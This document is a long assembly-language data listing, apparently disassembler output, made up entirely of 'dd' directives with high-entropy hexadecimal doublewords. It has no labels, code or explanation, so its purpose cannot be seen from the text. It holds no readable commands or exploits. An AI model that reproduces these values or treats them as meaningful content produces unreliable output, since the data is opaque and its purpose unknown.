dd 6C118721h, 1D7CA13Bh, 9C80890Ah, 0C58B730h, 87D4009Fh
dd 0DB45C6E1h, 100009BFh, 404D8D43h, 50DA1463h, 0D9B45Ch
dd 74C3FB3Ah, 0E9870CBEh, 0F1044F98h, 63DE9515h, 0CCC0F2C7h
dd 75804CFEh, 755A00F3h, 0E7F9DF5Fh, 550025DDh, 450F43Bh
dd 1F84F335h, 336F42h, 9F90E82Eh, 0CC00E446h, 0DC09E03Fh
dd 1F41F1h, 17122211h, 870D072Bh, 0AF0F8000h, 9CADC75h
dd 0B8A02E0h, 3EF708BAh, 0EC55D660h, 0CA6C51Eh, 89F8F3CAh
dd 0D9B47C01h, 50E46E53h, 232A0208h, 28877141h, 3B83FC80h
dd 76B8D12Eh, 0E10A300h, 0DD114178h, 0B66E0003h, 72040C28h
dd 8A7B1812h, 3A3901F2h, 0E758250h, 41020742h, 78E95303h
dd 1CCBC4h, 522249FFh, 85BABE45h, 0A2315D00h, 0A36F5853h
dd 0FFC50F11h, 88E0C733h, 5A65372Bh, 0FE2A8200h, 0C0B70F02h
dd 0F84D0067h, 9A72F9B5h, 8F076D17h, 0E78BAAFDh, 2ABF0370h
dd 311600CFh, 58633F23h, 6DF6D761h, 0FC55C000h, 8D95FA2Ch
dd 91BD072Ah, 0B0EA4C39h, 5F0B4D93h, 1D7D8F00h, 909C1FBCh
dd 0AEAD0141h, 0C55880D6h, 70182023h, 1DCCA13Bh, 5280880Ah
dd 0EC2CA7D4h, 54A3022Dh, 29B63D8Dh, 0A51A0560h, 0EB97E48h
dd 0E0F3CB9Ch, 440C2A20h, 5089077Ch, 51100DD1h, 61E91977h
dd 0A6C3202Fh, 1500E8F4h, 28799020h, 2D058Bh, 1CDB313Fh
dd 0DAC043C1h, 74D80100h, 0E31DD112h, 0C0E0072h, 0F61485E1h
dd 0E42CC8FCh, 7300CBDAh, 785152F2h, 0FB600023h, 0C131A00Dh
dd 20E14E1h, 54B98Dh, 0AEF3FD4Fh, 790B8FCh, 1CA483ACh
dd 0E9ABA204h, 70816641h, 4717BA62h, 0C50040A7h, 27A09184h
dd 24F50774h, 0F8FA80h, 0FC1390Dh, 920060FEh, 1D495057h
dd 8CFE89h, 0EE475DDBh, 159862B8h, 81268D7Dh, 1612E344h
dd 0AE80841Fh, 1418F51Bh, 42933A84h, 0BB00753Bh, 7378E5A7h
dd 2300A56Ah, 3E797769h, 8D760Ah, 56423514h, 0F429DBB2h
dd 5C0038EEh, 0EA72A5EBh, 0E2D14B0h, 39FC5A61h, 905C7C0h
dd 93E47648h, 458C3C00h, 94BAEC3Eh, 75F500C5h, 9198548Bh
dd 0C10074B1h, 3A77EF56h, 0A9D319h, 0EBE2BB0Dh, 4910434Fh
dd 0DD07901Fh, 75623000h, 26961Bh, 0E9855BA5h, 103D154Ch
dd 0A316A80Fh, 0B9A9E7A7h, 147D8BD0h, 5FB60028h, 8F805E5Bh
dd 173936E9h, 95380C9h, 480F34C3h, 4CAE4C41h, 7794050Ch
dd 830011BCh, 0C958F631h, 0D9B81Ch, 240A7EFFh, 0F70545B5h
dd 0C201E300h, 0DF8DD284h, 35460E1Ch, 89800615h, 40E3E2D7h
dd 14012A07h, 3C203B11h, 1E4199F0h, 0C08944BEh, 1525F7FEh
dd 0C3006978h, 3519010h, 0B823A905h, 495A038Eh, 7180A5C8h
dd 790407E0h, 93893200h, 46B0095Ch, 82DC1FE2h, 0A314C084h
dd 0BA1C1318h, 97920400h, 0E8BF6793h, 0CCA006Fh, 0B2FF9415h
dd 3D008BC5h, 0D43B060Eh, 7D485Ch, 82B13E2Ch, 1A72D939h
dd 8D6C9000h, 9149E534h, 3C75DDh, 0A47DA6F8h, 460FA712h
dd 0E1541A00h, 7C8848A5h, 77190094h, 4CEFEA99h, 0FF073534h
dd 4D21832h, 0A8C35B40h, 0AA4A3D3Eh, 0DDF43080h, 0F640616Eh
dd 0FA81F800h, 4BBF4F0Ah, 878A00D1h, 0FDA68846h, 0F62E410Ch
dd 0BB0EF43Dh, 27902023h, 3AF8F06Ah, 190096F9h, 0D5D20A0Ch
dd 100E954h, 0D3445E9Fh, 0D8EE02h, 9B750852h, 48711CDDh
dd 2AC31000h, 3B558F8h, 33C812A0h, 8FF05DBh, 57A9019Fh
dd 0FC2DE241h, 0C174D0D2h, 8A49C200h, 8EF83BCAh, 73200FBh
dd 87D5355Ah, 9D0088F1h, 0C8D0E44Ch, 184351C1h, 66085D3Bh
dd 42001D40h, 0EFD6934Eh, 1F90ABDCh, 40106A12h, 3075448Dh
dd 0AC09B93Fh, 9109B5h, 0F5EF123Eh, 8BF61EC4h, 0DD807E06h
dd 0BE11F9ECh, 0CA2C4128h, 803FF28Dh, 0E0EB4AD6h, 5BF782h
dd 0F8C7448Ch, 0D0FB5FEFh, 4A8A330Fh, 95F58013h, 3FF0DA2h
dd 0F72765C5h, 56D0B614h, 85395917h, 0CB4800EAh, 0D947EBCh
dd 158A0582h, 81615E4Ch, 0F00F1032h, 35170BC3h, 700F3C5h
dd 0E37F02BAh, 0B1E40074h, 0C8F26FA9h, 9C00A892h, 0F385E83Eh
dd 127B81h, 8B414C87h, 0D03D1880h, 0D6732600h, 830FDFA7h
dd 124300E5h, 60890C24h, 0DF901A90h, 59EF1000h, 5D88A03h
dd 352900CBh, 0BA37DCD2h, 7200DAC1h, 22124E1Fh, 1772110h
dd 0C6F7690Dh, 402BACCEh, 0CB2519B0h, 1F947500h, 0DD1802F3h
dd 5E1D0064h, 913BA40h, 0E800CEFAh, 0F535AE4Ah, 53CCA9h
dd 0D9D24EFFh, 897F4801h, 16C90A07h, 64C158FCh, 0E6600E19h
dd 2833B32h, 3E92042Ch, 3B66A080h, 7127506h, 76C98500h
dd 45BE8B20h, 0EEFC2C5Dh, 814000Bh, 21612EBh, 0C00017Ah
dd 0D400EC0h, 355449h, 41CE751Bh, 8289AC08h, 0EAA4F800h
dd 4790C362h, 142D00DCh, 3EE091FBh, 1500EE21h, 0EC2906C0h
dd 0F01F84h, 1DC8BD4Ch, 0FC485FB9h, 0EFE06B02h, 0F58E412Dh
dd 344F9B40h, 0D029EDF5h, 0C50079B7h, 4ACCBD43h, 4FB67h
dd 0A0380C4h, 8B87558Dh, 351DD77Dh, 49001EB5h, 1AB940C6h
dd 19FA00C4h, 1624DEC0h, 0B100DF77h, 9B7A8528h, 70CAA1Dh
dd 899E2099h, 1A7FB0FBh, 24008E01h, 7027CA11h, 0FCDFF045h
dd 320D0598h, 802EE2E9h, 9B89110Fh, 50003E71h, 25F5E86Fh
dd 1A6DC9h, 2DAF884Ah, 0BD830685h, 9847E40Fh, 0EB2BA108h
dd 0B02E7E1Ch, 7500F25Dh, 43C61611h, 28FB05h, 0C134E94Ah
dd 0A282701Dh, 1C8E9507h, 857214C0h, 0D7C0C0D2h, 0B4481FA0h
dd 5C80FAEAh, 0F78023Ah, 0F7008537h, 0B26BBA13h, 710D49Ch
dd 80792075h, 1757D054h, 11001993h, 0D2515303h, 0A04D14h
dd 0F78B4781h, 0D0AA4256h, 9EFFB300h, 0E8FCEF51h, 136100D3h
dd 7F468A3Ch, 88050920h, 699D7F9h, 87578580h, 30871C2h
dd 0A2B45005h, 604C6A8Eh, 4DE82C66h, 49271B00h, 0C0223Dh
dd 0BAE12A76h, 0AA922E38h, 7B430700h, 0EE811EE0h, 971400A2h
dd 754F8568h, 0A91328E2h, 6100CA21h, 951ABB92h, 610D0705h
dd 50201253h, 915189D4h, 80D00E3Ch, 3C4F9BE8h, 1F7F55h
dd 522228DCh
dd 0A11392F0h, 0E6E55800h, 309419D1h, 21F53F59h, 0D740A00h
dd 0ADD73C84h, 4300EC90h, 564B5E2Ah, 1C212C30h, 0DE1D5960h
dd 40B51F5Bh, 792A4D6h, 2C037389h, 852E56DDh, 352DA0FCh
dd 6B6C1EE9h, 0C0655D64h, 991257C2h, 0AB735B30h, 6800C4E8h
dd 164E912Dh, 0AF6CB8h, 0C20B9557h, 0C050C194h, 2DAD2201h
dd 49AC5C90h, 4021FD40h, 6C7002Ch, 2811D6D4h, 9B03CB42h
dd 22431AFDh, 7AD998AAh, 4330093h, 3C60ABCh, 0C9009901h
dd 6F8B29DEh, 75B9A609h, 116500A5h, 5B73A488h, 1AE626C7h
dd 535D7401h, 41243EF9h, 0D794E8h, 8DD38549h, 0E8CB3122h
dd 7B80BE1Eh, 4C7E04C0h, 1FBAE619h, 402F2BE1h, 0F62E284Ah
dd 46FE2D42h, 52D6EE00h, 92B6E74Fh, 2AB3008Dh, 1CB95D65h
dd 2E1F29C4h, 80E7438h, 4254C730h, 17AF9770h, 3F59FA90h
dd 0EC00F7F0h, 0CF806A9h, 0E4008AF4h, 89FC7E5Fh, 0F100F41h
dd 53A22F3Eh, 3B2C9FA0h, 8000550Eh, 0A9F752B9h, 77138B2Ah
dd 1AA80796h, 0B008F49Fh, 4A95651Dh, 54855600h, 5E2F412Eh
dd 6570E776h, 0AA810057h, 80744965h, 0BE0207F0h, 0EB0F0263h
dd 0B24DE005h, 7F17F8C1h, 0EC880E11h, 29604276h, 5245CC6h
dd 55455900h, 0EB3125B2h, 93AF00CAh, 5C7D1404h, 0E1002CBCh
dd 100E2F71h, 77F1799Ch, 9A0A0078h, 0EC6EDF3Eh, 52000B44h
dd 7367650Eh, 0EE9320h, 0D3815A84h, 9B64C883h, 71BF1800h
dd 17514794h, 93F20052h, 31D0811Fh, 0F80039D2h, 41D7408h
dd 5275F7h, 9A16B192h, 730A8BB0h, 806D400h, 95419FE8h
dd 0B8495F01h, 0B87E007Eh, 9451A25Ch, 740C0018h, 76453AF4h
dd 6F3ED5EFh, 0BD200735h, 95F00A9Eh, 3CE25EAh, 0DB481408h
dd 0F7A0D81Eh, 3D00A5D0h, 8A9018A9h, 7BC8FE04h, 6CF100F6h
dd 59AD14B9h, 107D865h, 0C7D8051h, 0BBF27F50h, 5AEB0039h
dd 1FE81A03h, 0C8005220h, 0E224D455h, 0F45148Ah, 4D485D37h
dd 0D03BA520h, 46BE5105h, 0D800912Eh, 46048D21h, 0AA9E00C0h
dd 696FB20h, 0D900AB10h, 0FAEBFC4h, 98177504h, 95700023h
dd 16F2B8D8h, 0BE005CD4h, 0F8573ECEh, 54964h, 0B814922Ah
dd 6741526h, 5869A703h, 0D8D1D7C2h, 13F681Ch, 3323E1FDh
dd 0D8458850h, 10FA03B2h, 48A05D3Dh, 7ED20333h, 0C0800F40h
dd 704CA3Eh, 5E0E8803h, 304AC7C3h, 0C40C51F1h, 0B2262F07h
dd 3A701B39h, 7A66320Eh, 2E467588h, 0E5F45Ah, 5DD05110h
dd 0E800F83Eh, 0D825996Fh, 730BEE89h, 4FAE0h, 0C822B7Ch
dd 265FAD56h, 2ACBC907h, 5B7046FBh, 16BD1A21h, 0D0A58h
dd 1E8CED37h, 7800A06Bh, 0FF21CC43h, 274D10h, 60DEDF75h
dd 7DF9B1E7h, 0A7B36400h, 0EB2AC154h, 24A90707h, 57EA5953h
dd 0F57A501Fh, 84002065h, 2C413249h, 7944A0h, 70B8220Ah
dd 62FB53BDh, 190507Fh, 3300A0FCh, 13156A8h, 200BE5h, 5C15D524h
dd 6051F8C6h, 0DB040801h, 2BAB4533h, 59C29E4h, 1D1CF527h
dd 10F28019h, 13001109h, 87D18512h, 0EE881848h, 44012C1Ch
dd 57003F59h, 0D5721571h, 2D00B479h, 0DF5AD4F6h, 44CBD6Dh
dd 503089D9h, 338C8004h, 0A00CFD2h, 8D88EF18h, 219C11h
dd 0C36847C6h, 0E27B7880h, 0B055500h, 22CA2EBAh, 60570044h
dd 4B011029h, 2801FA5Fh, 16BE5250h, 4C4CB24h, 0D58300B3h
dd 0A981FBEBh, 9100187Ah, 235060Ch, 0E2A876h, 5A402D7Ch
dd 52643155h, 83762AE4h, 0A6187800h, 14D98906h, 0FCCE78FFh
dd 5A540E40h, 1CAFE4DDh, 0A42BFAC3h, 830C1AA0h, 7430682Eh
dd 14020800h, 0FE6A24B2h, 3F40F60h, 0AA0129B0h, 0CED8AC10h
dd 808A3EC0h, 0AF49741Fh, 0DCE82B00h, 0E2F8B2h, 8DFC864Ah
dd 0D65048A4h, 7F000D7Eh, 0C52F4423h, 7380C96Dh, 90D300A8h
dd 6774292Eh, 32003BD9h, 1120C61h, 2036A5Bh, 0AB574555h
dd 946330C3h, 2D9935EBh, 9014D05Eh, 1C8ACD1Fh, 66B000B9h
dd 0CE81DCAAh, 0C2D80088h, 0C457016Ah, 430060C3h, 0F87D89A3h
dd 2F6FFABh, 996625A7h, 4ADEEF7Eh, 3302C900h, 10CE307h
dd 1C8D180Bh, 0D8C26938h, 9B1E825Ch, 0EC00428Ah, 8BF697C8h
dd 0ABBC0229h, 519ACAA1h, 864BC640h, 5045480Ah, 500B91Fh
dd 44F0E83Fh, 34CE0095h, 7DDB1EC3h, 0FE033E09h, 1058E665h
dd 0E7C0F8CDh, 0EA310066h, 110DA5C3h, 100A229h, 0DC1C5E06h
dd 86957Eh, 70FEF684h, 80905214h, 0D821E500h, 7D05253Bh
dd 4280E2Eh, 0A54261A6h, 0D0609FA0h, 1C002DE3h, 715FC831h
dd 934335h, 8D092280h, 89A59644h, 6610B900h, 148EBB8h
dd 55500018h, 0C395CCCFh, 8300021Fh, 20CD0C10h, 0B0067Dh
dd 6CE8AAF2h, 0F312C879h, 80037BFEh, 363E2E26h, 6A65D064h
dd 0CD770006h, 234D836Dh, 9DB0145Bh, 15A65E14h, 0A39400D5h
dd 0BEA09A95h, 74EB0D3h, 3F8624FEh, 0E72230D2h, 420F01B7h
dd 56A57h, 0F2088AECh, 3B580051h, 0C24AE5FDh, 0A258FCDDh
dd 452401DBh, 4E776905h, 3491E8h, 0D317DB79h, 0A1C267Ah
dd 9DC0C100h, 0A6C81DE0h, 0F7070142h, 0D8C3F8C2h, 0FF2FD983h
dd 10B3D0F0h, 0E801E074h, 601316FFh, 0CF0E6Ah, 2D461C66h
dd 7C09E381h, 0B6430403h, 0C0C0D3A0h, 0D80108h, 48469466h
dd 65AD7AAAh, 745A3401h, 0C081D9C8h, 0D8D0D0h, 85CCFCE0h
dd 26076B24h, 303CC200h, 0ED805889h, 66813BB3h, 5AA59Fh
dd 0D485F442h, 1000D07Ah, 3738273Fh, 0A241B6h, 0B804129Ah
dd 8B2EC6AAh, 0ED779201h, 0B151520Ah, 45AC0E0h, 0B88DC850h
dd 0D137837Ch, 38302880h, 130B0300h, 2B230A1Bh, 0AA5E0033h
dd 8084B14Ah, 0A200C0C7h, 6AB550B6h, 1D35C5AEh, 3EF58B98h
dd 0CAB803F9h, 335868F2h, 2B0328D8h, 44DB300h, 37F3C43Fh
dd 1733C55h, 5663004h, 0BA1DC044h, 1D0FD276h, 405D786Ah
dd 0FEE16753h, 6E010028h, 91F93538h, 22009409h, 0DAC144AAh
dd 16EC89h, 693E552h, 92EA3FEh, 3133E81Eh, 1EA6C74Ch, 841403FDh
dd 0A272F03h, 0E1F810C8h, 0D302B00h, 0EF4155A9h, 2DD500B0h
dd 0D3B11994h, 3C031532h, 33527B12h, 0E117E36Ch, 5EE83407h
dd 0CDF15898h, 8FE5300h, 0EC1EFF26h, 91FD1400h, 65C2ADE1h
dd 47823B42h, 6E32EE80h, 0CB135C7Ch, 0AC841000h, 0D99CA548h
dd 0A62D0042h, 2985E80Ch, 36FA4430h, 0B8310800h, 2371409h
dd 0CC240764h, 0D0951A52h, 9BA9BDC5h, 92D7B700h, 0E7E3104Dh
dd 776A3A1Bh, 7D249500h, 4C568F01h, 0E45C0C00h, 401563A6h
dd 0C5D90050h, 2C8B2943h, 0B4014E93h, 7410623Ah, 3FE8B514h
dd 19A30FC2h, 31270A2Bh, 0F037E771h, 12A6BA1h, 723A630Fh
dd 6469F2h, 8230B07Dh, 43AA1EB6h, 0E889006Dh, 9EEA85EFh
dd 0C3E33400h, 0C0BBB121h, 31AA3A35h, 0F184B303h, 0C3A51F04h
dd 3BA80628h, 3A3064A0h, 9160FE09h, 7522306Ch, 8EAA6860h
dd 0E4DAF200h, 80142E66h, 0D4503AC0h, 1F096A81h, 0E55185CEh
dd 0EAE7EC89h, 835D8200h, 0FECA522Dh, 0C7B900AAh, 1015944Fh
dd 88002A93h, 28AB5168h, 1F83F0B4h, 0F10C6Dh, 0EC174BEEh
dd 6500E035h, 62C45EE1h, 0FE4E344h, 9514E589h, 29F3620h
dd 0FA00A2BBh, 488858B5h, 2B082Ch, 940183Ch, 0AA49FFB0h
dd 7393C500h, 5328BF07h, 641500C3h, 99200634h, 2B0578DDh
dd 5B5C1189h, 60A478C2h, 30AEB15h, 0EC4502FAh, 0ADD85852h
dd 3B004683h, 0FFAE6787h, 581849B9h, 0BE3E568Fh, 0F8712ACh
dd 96C0A938h, 2C52D426h, 702AE309h, 0B6A83E4h, 3EEF9011h
dd 0CEB8001Ah, 8F748D2h, 0AF982792h, 371D64F4h, 74ECAC16h
dd 9880C21Ch, 0A5349714h, 7D2D0F72h, 19404312h, 0EC9E3937h
dd 0A446A00h, 0CE64AA58h, 5F8500D0h, 3C3DC93Fh, 0AD39DE9Fh
dd 75138059h, 508388EBh, 0A4C700AAh, 152553C6h, 2D004FF3h
dd 791E3AFCh, 9A5BF8h, 1241FE5h, 0AF11E459h, 0D0033D00h
dd 708498A4h, 0FEF28Fh, 736B6FF2h, 8CAA5524h, 8E749001h
dd 5E9219A7h, 2785F8h, 8503D10h, 2F0C2E64h, 48F83E0Ah
dd 8F00CDC6h, 5F4452B8h, 190A00E5h, 0AFF49940h, 0CD3A7180h
dd 0C2248012h, 826F8A62h, 796E1DA6h, 85550303h, 2EB1215Eh
dd 0A580F056h, 10658100h, 29DF4131h, 3D8F774Fh, 46002FC6h
dd 97A323Fh, 0C500249Ch, 0E8842B54h, 40B3F7h, 37181665h
dd 53429AFBh, 1331EA0Eh, 5F0E67EDh, 263A62C0h, 1493008Dh
dd 97103644h, 0D6755420h, 0F3619801h, 453B92DEh, 40CC32E9h
dd 4333CA9h, 0A126B700h, 29CA5C91h, 862B5B01h, 141CF92Fh
dd 0C62D30h, 0FBA1FE45h, 83C22D7Fh, 400EBF8h, 6A762170h
dd 136FCA5h, 75323C48h, 0C8180C24h, 0AE0F1499h, 0E0232091h
dd 100EEB29h, 0F09004Bh, 12AFAA95h, 0AC38C21Fh, 47F20079h
dd 4402652Ah, 407009F5h, 0DA8006F1h, 22F77ED2h, 1C1DE2FEh
dd 0B3262D45h, 91BDC600h, 687130h, 33485E79h, 0FA8A4FFCh
dd 28A97B00h, 39261980h, 2F7400F5h, 5DF45FC4h, 2200915Eh
dd 0F86594CAh, 0E8CEB09Ah, 0E6B89Dh, 9C14B218h, 2A0B24C3h
dd 0B0790800h, 8DFC5309h, 7D4EA48h, 5BC3048Ah, 212450DDh
dd 0D200AAB7h, 0DB94719Ch, 6F5F44Bh, 0B23A4BBh, 0C20098D1h
dd 3E988ACBh, 802113h, 7426C084h, 87ABF417h, 31A9CF02h
dd 8FA7FABFh, 76FCC086h, 0B42CDADh, 3D023267h, 48662A80h
dd 3F0044C4h, 2893DB49h, 3B5638A1h, 539DB732h, 3E8647Fh
dd 2018421Ch, 9F0243A8h, 3D90A13Dh, 0FF93EC8h, 20BCD91Eh
dd 41B1D44Fh, 11010033h, 0A4400343h, 6700DE34h, 0D8B4D753h
dd 88FC3Fh, 0DAAD330Ch, 24CDC029h, 0F753FE00h, 1CA7A5D2h
dd 3E500195h, 91DFC8A8h, 0B24460B5h, 55AFF39h, 17314FEBh
dd 6A697F80h, 5B301E21h, 63FC09Eh, 56846B4Ah, 0D3A38B2Ch
dd 0D044CF07h, 32EB6D70h, 40B20007h, 343F0937h, 26002D1Fh
dd 18465698h, 0F48071B5h, 0CC020035h, 0EE4CDA24h, 40001E09h
dd 8339B045h, 0D5CFAAh, 0A81AC91Ch, 0BBA5EDDAh, 5A962F0Eh
dd 0D748C0A4h, 0F3FE63Ah, 35252991h, 0C717BB60h, 1D006434h
dd 0A2D3D2E2h, 0E14F6Ah, 0B345233Eh, 20A9840Ch, 0E4EC3Ah
dd 0AA5382B6h, 4C092293h, 0B00FFBADh, 4FAF8157h, 0C010DA47h
dd 0F8BC1F2Ah, 9E031BB8h, 79BF4A85h, 6425A0FBh, 0A60C0F17h
dd 758F9339h, 7DD8C560h, 0ED7A8D35h, 0E4A83700h, 0D6561CCEh
dd 636E2A1h, 3465401h, 76007662h, 0E8028891h, 30D7B5Ah
dd 707E843Bh, 0F0F77A85h, 0AC758224h, 0D1E62798h, 9F952200h
dd 0D12A4FCh, 7A340047h, 0E804C8B9h, 7E3CC0ADh, 8770808Eh
dd 4DBEE269h, 54F20E3Eh, 9767FC24h, 8BA4D08Fh, 76072B5Ch
dd 0B5BCC025h, 0B752B620h, 0F0F6F1h, 0D092717Ah, 0FE81385Ah
dd 13DF8C00h, 883F0848h, 0A58B01B0h, 5E956B77h, 0BBBD3092h
dd 0D3005BF0h, 2704F3F0h, 11B974h, 9669508Ah, 1729BBC4h
dd 587CC80Bh, 0FBCF0048h, 3EED805Ch, 0FD00C74Eh, 35BFC195h
dd 320009E5h, 0E1731E82h, 85CA3Bh, 54862F07h, 109E6AE7h
dd 37B47E01h, 4E05ACBEh, 0B16FE8C7h, 393B3827h, 7822F980h
dd 0BF8EC59h, 6A3A401Ch, 0C38C49C0h, 2AFE909h, 97B4ED7Ah
dd 11601674h, 2FE21CC7h, 0B1283C00h, 0DF1ECBF9h, 0AD3D00DDh
dd 8AFA2730h, 653A22D2h, 34F49E60h, 9FCF3B40h, 961152h
dd 0FF8E2E25h, 553C0310h, 0AF04E4E5h, 1B0061F2h, 0D5A71477h
dd 37F4062h, 0A23F9A2Ch, 0C590832Eh, 9D054B6Ah, 0C35691Fh
dd 455ACD00h, 0E79117h, 324A8110h, 22C2098Fh, 0EFB8B000h
dd 0D6E22EFCh, 0AEEE00A7h, 5F74DADFh, 6A00B945h, 0BA8D4CD5h
dd 1BDE453h, 0D6F8A032h, 0CC653B40h, 0C8168E4Bh, 6603B809h
dd 88C9172Fh, 16D1CD99h, 0CF27A9h, 0D3672D0Fh, 4B00246Ah
dd 0C73D9C15h, 388712h, 0E1B5358Eh, 207B3AD8h, 3C5A101Ch
dd 0A14C2FCFh, 0EA9E0942h, 0C732D8h, 14FB89B0h, 3CDDA53Ah
dd 0A75DD901h, 932156D8h, 0B795A0E3h, 20B80010h, 8CBF553Dh
dd 7E0007F8h, 407D42FDh, 505AA41Fh, 722BF1DAh, 25180EA7h
dd 8CE0336Dh, 0C81E1479h, 47895C00h, 9298714Dh, 4ED51D64h
dd 7D2E40F1h, 0E637DA78h, 46B9C400h, 4B363A3h, 0BCB41CD0h
dd 0DDCEC0ECh, 0E06F25DFh, 7668EA0Fh, 603E4E20h, 3B644E2Bh
dd 487109h, 22759166h, 0A9944487h, 15BD8900h, 79566AA8h
dd 3A430913h, 5900DBB3h, 0A2580693h, 1D52FB00h, 9E947E59h
dd 1E3600F5h, 0CB349525h, 0AA003308h, 0A7E4C068h, 0F27AC322h
dd 2BE00051h, 6B0D85E6h, 0B03F1F6Ch, 6919DA4h, 0F64C880h
dd 4815F4CAh, 0C4002940h, 24269DF7h, 8D00090Ah, 6B5867EBh
dd 0E106F0h, 86C403AFh, 912C2040h, 2A621D01h, 4F28023Fh
dd 0B866F8h, 0A2F49C92h, 1C575E09h, 0DF956700h, 729A3F2Eh
dd 0A1651C96h, 0B2444140h, 70CAFDE2h, 1A07551Bh, 74B66068h
dd 8C9C9ED0h, 0B99D0042h, 0C8596D4Eh, 38C01CECh, 0CAFC4F7h
dd 54D20050h, 2C634585h, 4100723Bh, 154A0B4Fh, 355ECBh
dd 70AC4EA8h, 5FD5BD1h, 95796406h, 90740B9Dh, 11FEE7h
dd 2DAD3FB5h, 0A66E64E7h, 0A410500h, 0E3AFB666h, 3C6AF609h
dd 0F300FCBBh, 1354B0Bh, 9800FAC6h, 0C046D13h, 901C4E06h
dd 0A4AA0075h, 8DB8F011h, 2400640Ah, 0F243AB04h, 15007DEh
dd 0FF5F6AFBh, 0DC45E2DDh, 0B80BF7B9h, 80CE9504h, 0C451611Ch
dd 3DBA0EA4h, 0AE7C5F0h, 386A8088h, 3C039964h, 0A0108DA8h
dd 0D10B1DACh, 423483F2h, 14D8B2D8h, 0EF486A4Eh, 27400086h
dd 96554152h, 4D050775h, 0A054BA08h, 0FC7328BBh, 68008C74h
dd 6B2F135Ch, 4E5142h, 0D55247C2h, 0DE9DA396h, 43DA4100h
dd 77A98F27h, 2DAC00C5h, 3A1DA6DFh, 7E009D30h, 0D76967EDh
dd 13CA6Eh, 588DBADh, 847D8351h, 76818700h, 0A19BCCB8h
dd 2D900089h, 98F50CE6h, 0D7975F4h, 0BB167B00h, 310157FDh
dd 0C353064Bh, 662230EBh, 130073B8h, 90FA0681h, 53B858h
dd 0AB2CDC59h, 30680D1Eh, 3E25E93Eh, 0FC059C73h, 0EFC350C1h
dd 70E4BDB3h, 0F2213EB5h, 34232CFFh, 0CD00F37h, 604485A7h
dd 31382433h, 80522831h, 54E41940h, 87C99h, 144B2C11h
dd 7955A41Ah, 74A17D07h, 8B9303E8h, 0F60AB024h, 0B35300DDh
dd 5010255Bh, 0BEE60D5h, 0E2308300h, 9750E01h, 487E00FFh
dd 0A7521AA1h, 400D50Ch, 62BEE0DEh, 8153A0h, 438FE831h
dd 3325D16Bh, 0E909D275h, 0EBB4B47h, 0C8EF80D3h, 0EF26610h
dd 0B40A657Bh, 0AF80FEEEh, 5312EC43h, 295EEF0Eh, 7206803Ah
dd 7BA2EAh, 7885463Bh, 0FAFFD11Ch, 0D76C0E03h, 80FE4F0Fh
dd 472A7Ch, 7E8BF633h, 62C074C6h, 52605307h, 0D1B77718h
dd 0C297BC0h, 12440F9Fh, 0CC20F804h, 1A4626FFh, 0D9754F01h
dd 0A4DC4381h, 7FF59AE8h, 1C2C072Ah, 30D6AB18h, 373FE828h
dd 1AC758h, 0EC99EA24h, 5FA858h, 264C4442h, 5B2DAF53h
dd 0E094D500h, 3B1C98C4h
dd 74F9A0BEh, 547300ECh, 3ED6AA20h, 5198E2C1h, 5F184300h
dd 89652E7Ah, 545E0B24h, 360040D0h, 0E40594B1h, 7E75D40Eh
dd 81CC3A1h, 4842C020h, 50EEA6h, 19D0DC7Ch, 0D3245303h
dd 70463700h, 18C2A028h, 1834FA89h, 5A12FF82h, 0FC00AF74h
dd 5F39DB31h, 0D8E2B0h, 7E1DFD94h, 7CF60542h, 82000EE6h
dd 680AA21Ch, 974A18h, 40A5EB63h, 37148D3Eh, 4BC23B00h
dd 0B2D6FB7Dh, 0EE7717h, 910C1867h, 0C7D7C6B7h, 0AFC8A500h
dd 7F95A215h, 0B0040017h, 82D4BC92h, 1C007B29h, 0E0E8515Fh
dd 0F303231h, 330A440Dh, 9B0C960h, 3B02010Bh, 67D1C50h
dd 49DB608Bh, 9076010Ch, 78C3C129h, 7EB8304Ah, 5A8C081Dh
dd 7F56CA40h, 1749BBh, 48DA1A32h, 71546CB9h, 731F9E7Bh
dd 3D817256h, 75D13C89h, 868042BCh, 2C438890h, 9C71BE97h
dd 4548CB00h, 58FDAD80h, 0CA1F2820h, 0E81201E8h, 94684693h
dd 7034E4D8h, 7E0E37F6h, 0E0B7C11Bh, 0FED74E97h, 0F7C0302h
dd 6D3D7AF5h, 601F4DF8h, 0D2F13304h, 3F822D37h, 88B3638Ah
dd 0FA092h, 2808FD16h, 0E29C5E48h, 0FE00187Ch, 24B6BA8Ch
dd 4E99E1h, 3172403Bh, 20A621EEh, 9028A900h, 8DFEF55Eh
dd 54BF001Eh, 51C4D9A0h, 4470AB0Fh, 1C4BFF00h, 38BB5D9Dh
dd 0FEA7132h, 7607B91h, 149500D7h, 0AAD504F0h, 0F7303Bh
dd 5BDE97D1h, 107EB8Bh, 5DC9CAD4h, 0E8871067h, 0D50027E9h
dd 18D02325h, 2EDAED84h, 3F70A56Ah, 46FDC580h, 8E4769EAh
dd 0C3A1F400h, 838006C6h, 5198FFh, 0EF37107Eh, 0C4AA142Ah
dd 638A5D0Fh, 351E977Ch, 2FB42480h, 43D2D9h, 0CED555Ah
dd 70571908h, 871D79FAh, 54CF2088h, 803C004Ah, 638A551h
dd 58A2B891h, 89000B15h, 88BC461Eh, 0EA4E5690h, 1877F2h
dd 0EB1AC0Ah, 772E6D41h, 706A6200h, 7899DF60h, 14510010h
dd 22836350h, 7D5C4161h, 73760E0Dh, 0BF67606Eh, 44704Eh
dd 680E4A19h, 47667157h, 407C4100h, 6E727660h, 4CE900F9h
dd 6BC47ADDh, 6409F07Fh, 80A66974h, 534018CFh, 48770061h
dd 0B37C577Dh, 4E019046h, 7BE16ED3h, 62F89E67h, 8E700EF9h
dd 0FF1C1743h, 826C6F1Fh, 603B7165h, 731ECBC0h, 5F697D02h
dd 0E09EBE44h, 1E20AA15h, 800E1343h, 522A6670h, 71000C9Bh
dd 0EE4A7A73h, 0F888DE65h, 1243001Ch, 3637E72h, 61776D55h
dd 0B0604A00h, 0F07C6462h, 67700166h, 460E4486h, 5276EC0Ch
dd 45B0711Ch, 743961C2h, 6EF6E063h, 0C7D81DADh, 66F1404Dh
dd 76CC6A4Fh, 77146400h, 0A288477Fh, 0C12A000Dh, 2E54720Ch
dd 4B000E73h, 0EA6F4363h, 581862h, 6C1C6847h, 77875166h
dd 31706B00h, 1D466365h, 74487140h, 1F077972h, 80615167h
dd 74945527h, 88070F28h, 4AE36F54h, 6E40E29Eh, 0D373E06Bh
dd 429E0078h, 13048FEh, 6A0E654Bh, 0C7636961h, 0D3E128C0h
dd 87C421FBh, 0F860F834h, 681E009Fh, 486E38BFh, 95073052h
dd 1447CA1Ch, 3741150h, 61670046h, 60886376h, 8BA05677h
